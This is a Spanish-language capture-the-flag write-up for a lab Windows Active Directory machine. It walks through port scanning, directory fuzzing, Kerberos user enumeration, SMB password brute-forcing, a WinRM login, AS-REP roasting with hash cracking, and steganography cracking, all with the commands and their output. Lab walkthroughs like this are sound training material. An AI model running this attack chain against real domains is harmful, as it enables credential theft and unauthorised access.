Big - TheHackerLabs
Esta fue una máquina lo suficientemente difícil. Después de analizar el escaneo de servicios, empezamos revisando la página web, que al no encontrar nada, aplicamos Fuzzing a directorios web, en donde encontraremos algunos que contienen imágenes, letras de canciones (entre ellas un wordlist) y un mensaje de un usuario que resulta ser una pista. Enumeramos los usuarios del servicio Kerberos con kerbrute y aplicamos fuerza bruta al servicio SMB, utilizando el wordlist encontrado, siendo así que encontamos la contraseña de un usuario. Esto nos permite loguearnos al servicio WinRM con evil-winrm. Además, aplicamos el AS-REP Roasting attack, logrando crackear el hash krb5asrep que resultó ser del mismo usuario al que obtuvimos su contraseña con la fuerza bruta al SMB. También aplicamos estegoanálisis a las imágenes encontradas, resultando en encontrar y obtener un archivo que contiene la contraseña de otro usuario. Para terminar, analizamos el AD con SharpHound v1.1.1 y BloodHound Community Edition, descubriendo que nuestro primero usuario obtenido, pertenece al grupo ACCOUNT OPERATORS, que a su vez, tiene el permiso GenericAll sobre un grupo personalizado llamado SPECIAL PERMISSIONS, siendo que este grupo puede cambiar el permiso DACL del dominio, con lo que podemos aplicar el DCSync Attack y así logramos escalar privilegios.
Herramientas utilizadas:
- ping
- nmap
- arp-scan
- wappalizer
- wfuzz
- gobuster
- kerbrute_linux_amd64
- wget
- file
- strings
- head
- exiftool
- crackmapexec
- evil-winrm
- impacket-GetNPUsers
- JohnTheRipper
- hashcat
- apt
- steghide
- stegcracker
- stegseek
- grep
- md5sum
- awk
- echo
- SharpHound v1.1.1
- BloodHound Community Edition
- PowerView.ps1
- net group
- whoami
- impacket-secretsdump
- impacket-psexec
Índice
- Recopilación de Información
- Análisis de Vulnerabilidades
- Analizando Servicio HTTP
- Fuzzing
- Analizando Directorios Web Encontrados
- Enumeración de Usuarios del Servicio Kerberos con Kerbrute
- Analizando Imágenes Encontradas en Directorio
- Explotación de Vulnerabilidades
- Aplicando Fuerza Bruta a Servicio SMB
- Aplicando AS-REP Roasting Attack
- Extrayendo Archivo Oculto de una Imagen Aplicando Estegoanálisis
- Creando Wordlist con las Letras de Canciones Encontradas Convirtiendo las Oraciones en Hashes MD5
- Crackeando Imágenes con stegcracker
- Crackeando Imágenes con stegseek
- Obteniendo Archivo Original con steghide y Aplicando Password Spraying con Nueva Contraseña
- Post Explotación
- Links de Investigación
Recopilación de Información
Descubrimiento de Hosts
Hagamos un descubrimiento de hosts para encontrar a nuestro objetivo.
Lo haremos primero con nmap:
nmap -sn 192.168.212.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-17 12:31 CST
...
Nmap scan report for 192.168.212.4
Host is up (0.0012s latency).
MAC Address: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
...
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.23 seconds
Vamos a probar la herramienta arp-scan:
arp-scan -I eth0 -g 192.168.212.0/24
Interface: eth0, type: EN10MB, MAC: XX, IPv4: Tu_IP
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
...
192.168.212.4 XX PCS Systemtechnik GmbH
3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.173 seconds (117.81 hosts/sec). 3 responded
Encontramos nuestro objetivo y es: 192.168.212.4
.
Traza ICMP
Vamos a realizar un ping para saber si la máquina está activa y en base al TTL veremos que SO opera en la máquina.
ping -c 4 192.168.212.4
PING 192.168.212.4 (192.168.212.4) 56(84) bytes of data.
64 bytes from 192.168.212.4: icmp_seq=1 ttl=128 time=1.11 ms
64 bytes from 192.168.212.4: icmp_seq=2 ttl=128 time=0.796 ms
64 bytes from 192.168.212.4: icmp_seq=3 ttl=128 time=2.37 ms
64 bytes from 192.168.212.4: icmp_seq=4 ttl=128 time=1.22 ms
--- 192.168.212.4 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3045ms
rtt min/avg/max/mdev = 0.796/1.375/2.372/0.596 ms
Por el TTL sabemos que la máquina usa Windows, hagamos los escaneos de puertos y servicios.
Escaneo de Puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.212.4 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-17 12:37 CST
Initiating ARP Ping Scan at 12:37
Scanning 192.168.212.4 [1 port]
Completed ARP Ping Scan at 12:37, 0.07s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 12:37
Scanning 192.168.212.4 [65535 ports]
Discovered open port 135/tcp on 192.168.212.4
Discovered open port 80/tcp on 192.168.212.4
Discovered open port 53/tcp on 192.168.212.4
Discovered open port 139/tcp on 192.168.212.4
Discovered open port 445/tcp on 192.168.212.4
Discovered open port 47001/tcp on 192.168.212.4
Discovered open port 49666/tcp on 192.168.212.4
Discovered open port 88/tcp on 192.168.212.4
Discovered open port 49686/tcp on 192.168.212.4
Discovered open port 49673/tcp on 192.168.212.4
Discovered open port 49665/tcp on 192.168.212.4
Discovered open port 49669/tcp on 192.168.212.4
Discovered open port 49676/tcp on 192.168.212.4
Discovered open port 9389/tcp on 192.168.212.4
Discovered open port 3269/tcp on 192.168.212.4
Discovered open port 49670/tcp on 192.168.212.4
Discovered open port 593/tcp on 192.168.212.4
Discovered open port 49667/tcp on 192.168.212.4
Increasing send delay for 192.168.212.4 from 0 to 5 due to max_successful_tryno increase to 4
Discovered open port 49671/tcp on 192.168.212.4
Discovered open port 5985/tcp on 192.168.212.4
Discovered open port 3268/tcp on 192.168.212.4
Discovered open port 49708/tcp on 192.168.212.4
Discovered open port 389/tcp on 192.168.212.4
Discovered open port 49664/tcp on 192.168.212.4
Discovered open port 636/tcp on 192.168.212.4
Discovered open port 464/tcp on 192.168.212.4
Increasing send delay for 192.168.212.4 from 5 to 10 due to max_successful_tryno increase to 5
Completed SYN Stealth Scan at 12:38, 62.04s elapsed (65535 total ports)
Nmap scan report for 192.168.212.4
Host is up, received arp-response (0.0021s latency).
Scanned at 2025-04-17 12:37:55 CST for 62s
Not shown: 65509 closed tcp ports (reset)
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 128
80/tcp open http syn-ack ttl 128
88/tcp open kerberos-sec syn-ack ttl 128
135/tcp open msrpc syn-ack ttl 128
139/tcp open netbios-ssn syn-ack ttl 128
389/tcp open ldap syn-ack ttl 128
445/tcp open microsoft-ds syn-ack ttl 128
464/tcp open kpasswd5 syn-ack ttl 128
593/tcp open http-rpc-epmap syn-ack ttl 128
636/tcp open ldapssl syn-ack ttl 128
3268/tcp open globalcatLDAP syn-ack ttl 128
3269/tcp open globalcatLDAPssl syn-ack ttl 128
5985/tcp open wsman syn-ack ttl 128
9389/tcp open adws syn-ack ttl 128
47001/tcp open winrm syn-ack ttl 128
49664/tcp open unknown syn-ack ttl 128
49665/tcp open unknown syn-ack ttl 128
49666/tcp open unknown syn-ack ttl 128
49667/tcp open unknown syn-ack ttl 128
49669/tcp open unknown syn-ack ttl 128
49670/tcp open unknown syn-ack ttl 128
49671/tcp open unknown syn-ack ttl 128
49673/tcp open unknown syn-ack ttl 128
49676/tcp open unknown syn-ack ttl 128
49686/tcp open unknown syn-ack ttl 128
49708/tcp open unknown syn-ack ttl 128
MAC Address: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 62.27 seconds
Raw packets sent: 270962 (11.922MB) | Rcvd: 65540 (2.622MB)
Parámetros | Descripción |
---|---|
-p- | Para indicarle un escaneo en ciertos puertos. |
–open | Para indicar que aplique el escaneo en los puertos abiertos. |
-sS | Para indicar un TCP Syn Port Scan para que nos agilice el escaneo. |
–min-rate | Para indicar una cantidad de envió de paquetes de datos no menor a la que indiquemos (en nuestro caso pedimos 5000). |
-vvv | Para indicar un triple verbose, un verbose nos muestra lo que vaya obteniendo el escaneo. |
-n | Para indicar que no se aplique resolución dns para agilizar el escaneo. |
-Pn | Para indicar que se omita el descubrimiento de hosts. |
-oG | Para indicar que el output se guarde en un fichero grepeable. Lo nombre allPorts. |
Son muchos puertos y varios están relacionados con Active Directory como el puerto 88 que es el protocolo Kerberos.
Escaneo de Servicios
nmap -sCV -p 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49669,49670,49671,49673,49676,49686,49708 192.168.212.4 -oN targeted
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-17 12:39 CST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.212.4
Host is up (0.0017s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html).
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-04-17 19:39:36Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: bbr.thl, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: bbr.thl, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49671/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49676/tcp open msrpc Microsoft Windows RPC
49686/tcp open msrpc Microsoft Windows RPC
49708/tcp open msrpc Microsoft Windows RPC
MAC Address: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Host: BIG; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 59m58s
| smb2-time:
| date: 2025-04-17T19:40:31
|_ start_date: 2025-04-17T19:28:41
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_nbstat: NetBIOS name: BIG, NetBIOS user: <unknown>, NetBIOS MAC: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 69.72 seconds
Parámetros | Descripción |
---|---|
-sC | Para indicar un lanzamiento de scripts básicos de reconocimiento. |
-sV | Para identificar los servicios/versión que están activos en los puertos que se analicen. |
-p | Para indicar puertos específicos. |
-oN | Para indicar que el output se guarde en un fichero. Lo llame targeted. |
Muy bien, tenemos bastante información.
Para empezar, el servicio LDAP nos dio el dominio que está ocupando el AD, siendo bbr.thl. Regístralo en el /etc/hosts
.
Vemos que tiene una página web activa en el puerto 80, y también parece estar activo el servicio WinRM en el puerto 5985.
Y por último, parece que el servicio SMB necesita credenciales válidas para poder listar los recursos compartidos.
Con todo esto visto, vamos a empezar por la página web y luego por el servicio Kerberos.
Análisis de Vulnerabilidades
Analizando Servicio HTTP
Entremos:
Parece solo una página que muestra una imagen.
Veamos qué nos dice Wappalizer:
No nos muestra mucho.
Si vemos el código fuente, solamente veremos un comentario extraño y un pequeño texto:
De ahí en fuera, no veo nada más, así que vamos a aplicar Fuzzing para ver si hay algo oculto por ahí.
Fuzzing
wfuzz -c --hc=404 -t 300 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt http://192.168.212.4/FUZZ
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.212.4/FUZZ
Total requests: 1185240
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000002: 301 1 L 10 W 151 Ch "images"
000000635: 301 1 L 10 W 153 Ch "contents"
000036871: 200 21 L 41 W 435 Ch "http://192.168.212.4/"
000005751: 301 1 L 10 W 150 Ch "songs"
000941761: 200 21 L 41 W 435 Ch "%5c"
...
...
Total time: 0
Processed Requests: 1185240
Filtered Requests: 1185213
Requests/sec.: 0
Parámetros | Descripción |
---|---|
-c | Para ver el resultado en un formato colorido. |
–hc | Para no mostrar un código de estado en los resultados. |
-t | Para indicar la cantidad de hilos a usar. |
-w | Para indicar el diccionario a usar en el fuzzing. |
Ahora probemos con gobuster:
gobuster dir -u http://192.168.212.4/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt -t 100
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.212.4/
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 151] [--> http://192.168.212.4/images/]
/contents (Status: 301) [Size: 153] [--> http://192.168.212.4/contents/]
/songs (Status: 301) [Size: 150] [--> http://192.168.212.4/songs/]
...
Progress: 1185240 / 1185241 (100.00%)
===============================================================
Finished
===============================================================
Parámetros | Descripción |
---|---|
-u | Para indicar la URL a utilizar. |
-w | Para indicar el diccionario a usar en el fuzzing. |
-t | Para indicar la cantidad de hilos a usar. |
Encontramos 3 directorios con ambas herramientas. Investiguemos que contienen.
Analizando Directorios Web Encontrados
Si entramos en el directorio /images
, solo encontraremos 4 imágenes y un archivo web.config que no contiene nada:
Lo primero que se puede notar, es que cada imagen tiene un peso más alto que otras y cada imagen es distinta.
Si entramos en el directorio /contents
, encontraremos solamente un archivo de texto:
Entrando en el archivo, veremos que es un mensaje:
Nos están dando una pista, ya que el mensaje menciona que se escondieron llaves en MD5. Además, parece que tenemos un usuario llamado music.
Si entramos en el directorio /songs
, encontraremos varios archivos de texto que parecen ser letras de canciones:
Revisando cada archivo, confirmamos que son canciones a excepción del archivo Skyisthelimit.txt que parece ser un wordlist de contraseñas:
Quizá es parte de la máquina este wordlist.
Por ahora, ya tenemos algunas pistas sobre lo que podemos hacer para avanzar con la máquina. Pero, primero vamos a comprobar los usuarios existentes en el servicio Kerberos.
Enumeración de Usuarios del Servicio Kerbrute con Kerbrute
Por ahora, tenemos al menos un usuario posible que encontramos en el directorio /contents
. Podría ser que otro usuario sea big, ya que el escaneo de servicios menciona que es el nombre de la máquina. Además, encontramos muchas referencias a este artista, así que es muy probable que sea otro usuario.
Vamos a comprobar si estamos en lo correcto utilizando la herramienta Kerbrute.
Puedes obtenerlo aquí:
Mete esos dos usuarios en un archivo de texto para utilizarlo con kerbrute:
./kerbrute_linux_amd64 userenum -d bbr.thl --dc 192.168.212.4 posiblesUsuarios.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 04/17/25 - Ronnie Flathers @ropnop
2025/04/17 15:54:23 > Using KDC(s):
2025/04/17 15:54:23 > 192.168.212.4:88
2025/04/17 15:54:23 > [+] VALID USERNAME: big@bbr.thl
2025/04/17 15:54:23 > [+] VALID USERNAME: music@bbr.thl
2025/04/17 15:54:23 > Done! Tested 2 usernames (2 valid) in 0.029 seconds
Excelente, si existen estos dos usuarios.
Pero quizá existan más, por lo que haremos de nuevo el escaneo y usaremos el wordlists xat-net-10-million-usernames.txt:
./kerbrute_linux_amd64 userenum -d bbr.thl --dc 192.168.212.4 /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 04/17/25 - Ronnie Flathers @ropnop
2025/04/17 13:08:15 > Using KDC(s):
2025/04/17 13:08:15 > 192.168.212.4:88
2025/04/17 13:08:15 > [+] VALID USERNAME: big@bbr.thl
2025/04/17 13:08:16 > [+] VALID USERNAME: song@bbr.thl
2025/04/17 13:08:17 > [+] VALID USERNAME: music@bbr.thl
2025/04/17 13:08:18 > [+] VALID USERNAME: administrator@bbr.thl
2025/04/17 13:08:37 > [+] VALID USERNAME: Administrator@bbr.thl
2025/04/17 13:08:49 > [+] VALID USERNAME: BIG@bbr.thl
2025/04/17 13:08:53 > [+] VALID USERNAME: Music@bbr.thl
2025/04/17 13:09:29 > [+] VALID USERNAME: Big@bbr.thl
2025/04/17 13:11:28 > [+] VALID USERNAME: Song@bbr.thl
El escaneo duro un rato, pero solamente encontró estos usuarios que solamente agrega al usuario song y administrator.
Analizando Imagenes Encontradas en Directorio
De acuerdo al mensaje que encontramos en el directorio /content
, puede que alguna imagen contenga un hash MD5 oculto.
Vamos a descargar las imágenes y luego vamos a analizar cada una para ver que podemos encontrar.
Descarguemos todas las imágenes con wget:
wget -r -l1 -nd -A jpg http://192.168.212.4/images/
--2025-04-17 13:29:01-- http://192.168.212.4/images/
Conectando con 192.168.212.4:80... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 563 [text/html]
...
...
--2025-04-17 13:29:01-- http://192.168.212.4/images/big1.jpg
Reutilizando la conexión con 192.168.212.4:80.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 53019 (52K) [image/jpeg]
Grabando a: «big1.jpg»
big1.jpg 100%[=====================>] 51.78K --.-KB/s en 0.02s
2025-04-17 13:29:01 (3.11 MB/s) - «big1.jpg» guardado [53019/53019]
--2025-04-17 13:29:01-- http://192.168.212.4/images/big2.jpg
Reutilizando la conexión con 192.168.212.4:80.
Petición HTTP enviada, esperando respuesta... 200 OK
...
...
...
ACABADO --2025-04-17 13:29:01--
Tiempo total de reloj: 0.1s
Descargados: 6 ficheros, 649K en 0.06s (10.6 MB/s)
Listo, ya las tenemos todas.
Para el análisis, utilizaremos las siguientes herramientas:
- file
- strings
- exiftool
Veamos qué nos muestra file:
file big1.jpg
big1.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, progressive, precision 8, 1920x1080, components 3
file big2.jpg
big2.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1191x670, components 3
file big3.jpg
big3.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1024x768, components 3
file big4.jpg
big4.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1280x800, components 3
Parecen ser imágenes simples.
Lo curioso empieza cuando vemos las imágenes con strings, pues con big2.jpg parece que muestra un hash:
strings big2.jpg | head -n 10
JFIF
$.' ",#
(7),01444
'9=82<.342
!22222222222222222222222222222222222222222222222222
$3br
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
#3R
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
<JYC6
Pero no resulta ser algo útil.
Y con exiftool tampoco muestra algo.
Investigando un poco sobre “como encontrar data oculta en imágenes”, encontré el siguiente blog:
Al final menciona sobre el tema de Estenografía. Investiguemos que es esto:
Estenografía |
---|
La esteganografía es la práctica de ocultar información dentro de otro mensaje u objeto físico para evitar su detección. Se puede usar para ocultar casi cualquier tipo de contenido digital, ya sea texto, imágenes, videos o audios. Luego, dichos datos ocultos se extraen en destino. |
Además, menciona unas herramientas que podemos utilizar, pero esas herramientas no nos ayudaran, ya que están obsoletas, así que de momento, pasemos a revisar otras cosas.
Recordando que tenemos usuarios válidos y un wordlist de contraseña que encontramos en la página web, podemos aplicar Fuerza Bruta y quizá el ASREP-Roasting Attack.
Explotación de Vulnerabilidades
Aplicando Fuerza Bruta a Servicio SMB
Vamos a descargar el wordlist de contraseñas que está en la página web con wget:
wget http://192.168.212.4/songs/Skyisthelimit.txt
--2025-04-17 12:50:50-- http://192.168.212.4/songs/Skyisthelimit.txt
Conectando con 192.168.212.4:80... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 1793 (1.8K) [text/plain]
Grabando a: «Skyisthelimit.txt»
Skyisthelimit.txt 100%[=================>] 1.75K --.-KB/s en 0s
2025-04-17 12:50:51 (225 MB/s) - «Skyisthelimit.txt» guardado [1793/1793]
Y con crackmapexec, vamos a aplicar fuerza bruta al servicio SMB y utilizaremos un pequeño filtro para que nos muestre los resultados válidos:
crackmapexec smb 192.168.212.4 -u usuarios.txt -p Skyisthelimit.txt --continue-on-success | grep "[+]"
SMB 192.168.212.4 445 BIG [+] bbr.thl\song:******
Muy bien, tenemos la contraseña del usuario song y si recordamos el escaneo de servicios, está activo el servicio WinRM, por lo que podemos probar si estas credenciales sirven para ese servicio:
crackmapexec winrm 192.168.212.4 -u 'song' -p '******'
SMB 192.168.212.4 5985 BIG [*] Windows 10 / Server 2016 Build 14393 (name:BIG) (domain:bbr.thl)
HTTP 192.168.212.4 5985 BIG [*] http://192.168.212.4:5985/wsman
WINRM 192.168.212.4 5985 BIG [+] bbr.thl\song:****** (Pwn3d!)
Excelente, podemos conectarnos a la máquina víctima con la herramienta evil-winrm.
Hagámoslo:
evil-winrm -i 192.168.212.4 -u 'song' -p '******'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\TEMP\Documents> whoami
bbr\song
Estamos dentro, pero este usuario no tiene la flag.
Aplicando AS-REP Roasting Attack
Como ya tenemos una lista de usuarios válidos, podemos aplicar el AS-REP Roasting Attack, con tal de confirmar si algún usuario tiene la flag UF_DONT_REQUIRE_PREAUTH y así capturar el hash krb5asrep que contiene la contraseña del usuario con esta flag.
Lo haremos con la herramienta impacket-GetNPUsers:
impacket-GetNPUsers -no-pass -usersfile usuarios.txt bbr.thl/
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] User big doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$song@BBR.THL:03ca8e428eb7f65eed7f026ca8332ca6$ae9da9376d85f2f338e8...
[-] User music doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
Genial, el usuario song tiene activa esta flag.
Ahora, tenemos que crackear este hash para encontrar la contraseña y lo haremos con hashcat y con JohnTheRipper.
Como wordlist de contraseñas, usaremos el que encontramos en la página web.
Primero, lo haremos con JohnTheRipper:
john -w:Skyisthelimit.txt ASREP-hash --format=krb5asrep
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 SSE2 4x])
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
****** ($krb5asrep$23$song@BBR.THL)
1g 0:00:00:00 DONE (2025-04-17 16:06) 33.33g/s 6700p/s 6700c/s 6700C/s 123456..qwerty123456
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Ahora con hashcat:
hashcat -m 18200 -a 0 ASREP-hash Skyisthelimit.txt
hashcat (v6.2.6) starting
...
...
...
...
$krb5asrep$23$song@BBR.THL:03ca8e428eb7f65eed7f026ca8332ca6$ae9da....:******
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: $krb5asrep$23$song@BBR.THL:03ca8e428eb7f65eed7f026c...134458
Time.Started.....: Thu Apr 17 16:06:52 2025 (0 secs)
Time.Estimated...: Thu Apr 17 16:06:52 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (Skyisthelimit.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 56857 H/s (0.29ms) @ Accel:1024 Loops:1 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 201/201 (100.00%)
Rejected.........: 0/201 (0.00%)
Restore.Point....: 0/201 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: 123456 -> qwerty123456
Hardware.Mon.#1..: Util: 3%
Started: Thu Apr 17 16:06:37 2025
Stopped: Thu Apr 17 16:06:53 2025
Obtuvimos la contraseña y es la misma que encontramos en el ataque de fuerza bruta.
Extrayendo Archivo Oculto de una Imagen Aplicando Estegoanálisis
¿Qué es Steganalysis/Estegonálisis?
Steganalysis/Estegonálisis |
---|
El estegoanálisis es la disciplina que se encarga de detectar, analizar y, en algunos casos, extraer información oculta dentro de archivos (como imágenes, audio o video) que han sido modificados utilizando técnicas de esteganografía. Mientras que la esteganografía se enfoca en ocultar información de forma encubierta, el estegoanálisis tiene el objetivo opuesto: descubrir si existe algo oculto y tratar de revelar su contenido. |
Para poder hacer esto, podemos ocupar las siguientes herramientas:
- steghide
- stegcracker
- stegseek
Instalemos primero steghide para probarlo contra las imágenes:
apt install steghide
Listo.
Intentemos extraer algún archivo oculto (extract) a cualquiera de las imágenes (-sf).
Pero nos da lo siguiente:
steghide extract -sf big1.jpg
Anotar salvoconducto:
Nos pide un salvoconducto, que en realidad es una contraseña.
Pero como no tenemos una contraseña, ¿qué podemos probar? Recordemos que hay una clave oculta en MD5, y recordando que más tenemos, están los archivos de texto que son letras de canciones dentro del directorio /songs
.
Vamos a copiar todos esos archivos de texto, saquemos las oraciones y luego transformémoslas en hashes MD5.
Creando Wordlist con las Letras de Canciones Encontradas Convirtiendo las Oraciones en Hashes MD5
Primero, descarguemos los archivos de texto:
mkdir canciones
cd canciones
.
wget -r -l1 -nd -A txt http://192.168.212.4/songs
--2025-04-17 19:39:49-- http://192.168.212.4/songs
Conectando con 192.168.212.4:80... conectado.
Petición HTTP enviada, esperando respuesta... 301 Moved Permanently
Localización: http://192.168.212.4/songs/ [siguiendo]
--2025-04-17 19:39:49-- http://192.168.212.4/songs/
Reutilizando la conexión con 192.168.212.4:80.
Petición HTTP enviada, esperando respuesta... 200 OK
...
...
...
2025-04-17 19:39:49 (285 MB/s) - «Skyisthelimit.txt.1.tmp» guardado [1793/1793]
Eliminando Skyisthelimit.txt.1.tmp puesto que debería ser rechazado.
ACABADO --2025-04-17 19:39:49--
Tiempo total de reloj: 0.05s
Descargados: 6 ficheros, 14K en 0s (384 MB/s)
Una vez que los tenemos descargados, vamos a sacar las oraciones y a transformarlas en hashes MD5 con el siguiente oneliner:
cat *.txt | grep -v '^$' | while read linea; do echo -n "$linea" | md5sum | awk '{print $1}'; done > hashes.txt
Tenemos listo el wordlist.
Pero, vamos a agregar un par de hashes MD5 extra, siendo los que están en la página web que vimos en el código fuente.
Lo puedes crear de esta manera:
❯ echo -n "I keep it music music, I eat that lunch (Yeah)" | md5sum | awk '{print $1}'
644d61b2e502099c1c786dc5d87c6689
.
echo -n "It was all a dream" | md5sum | awk '{print $1}'
99ae77c0c0faf78b872f9f452e3eaa241
Ya solo agrégalos al final o donde quieras del wordlist.
Crackeando Imágenes con stegcracker
Primero, vamos a instalar la herramienta stegcracker:
apt install stegcracker
Al usar la herramienta stegcracker, indica que podemos instalar una herramienta más nueva, siendo stegseek, que usaremos más adelante.
Ahora, usemos stegcracker para intentar crackear las imágenes y ver si alguna tiene un archivo oculto.
Resulta que la imagen big2.jpg tiene un archivo oculto:
stegcracker big2.jpg canciones/hashes.txt
StegCracker 2.1.0 - (https://github.com/Paradoxis/StegCracker)
Copyright (c) 2025 - Luke Paris (Paradoxis)
.
Counting lines in wordlist..
Attacking file 'big2.jpg' with wordlist 'canciones/hashes.txt'..
Successfully cracked file with password: 99ae77c0c0faf78b872f9f452e3eaa24
Tried 437 passwords
Your file has been written to: big2.jpg.out
99ae77c0c0faf78b872f9f452e3eaa24
Excelente, se pudo crackear y obtuvimos un archivo llamado big2.jpg.out. Además, nos muestra el hash MD5 que sirvió para crackear la imagen, siendo que es de la misma frase “It was all a dream” que sacamos del código fuente de la página web.
Vamos a leer ese archivo:
cat big2.jpg.out
...
Parece ser una contraseña. La comprobaremos más adelante.
Crackeando Imágenes con stegseek
Vamos a instalar la herramienta stegseek:
apt install stegseek
Ya sabemos qué imagen debemos usar, siendo la imagen big2.jpg.
Bien, tenemos que indicarle que vamos a crackear (–crack) una imagen, la ubicación de la imagen, el wordlist a usar y donde se guardara el resultado:
stegseek --crack big2.jpg canciones/hashes.txt resultado.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
[i] Found passphrase: "99ae77c0c0faf78b872f9f452e3eaa24"
[i] Original filename: "frase.txt".
[i] Extracting to "resultado.txt".
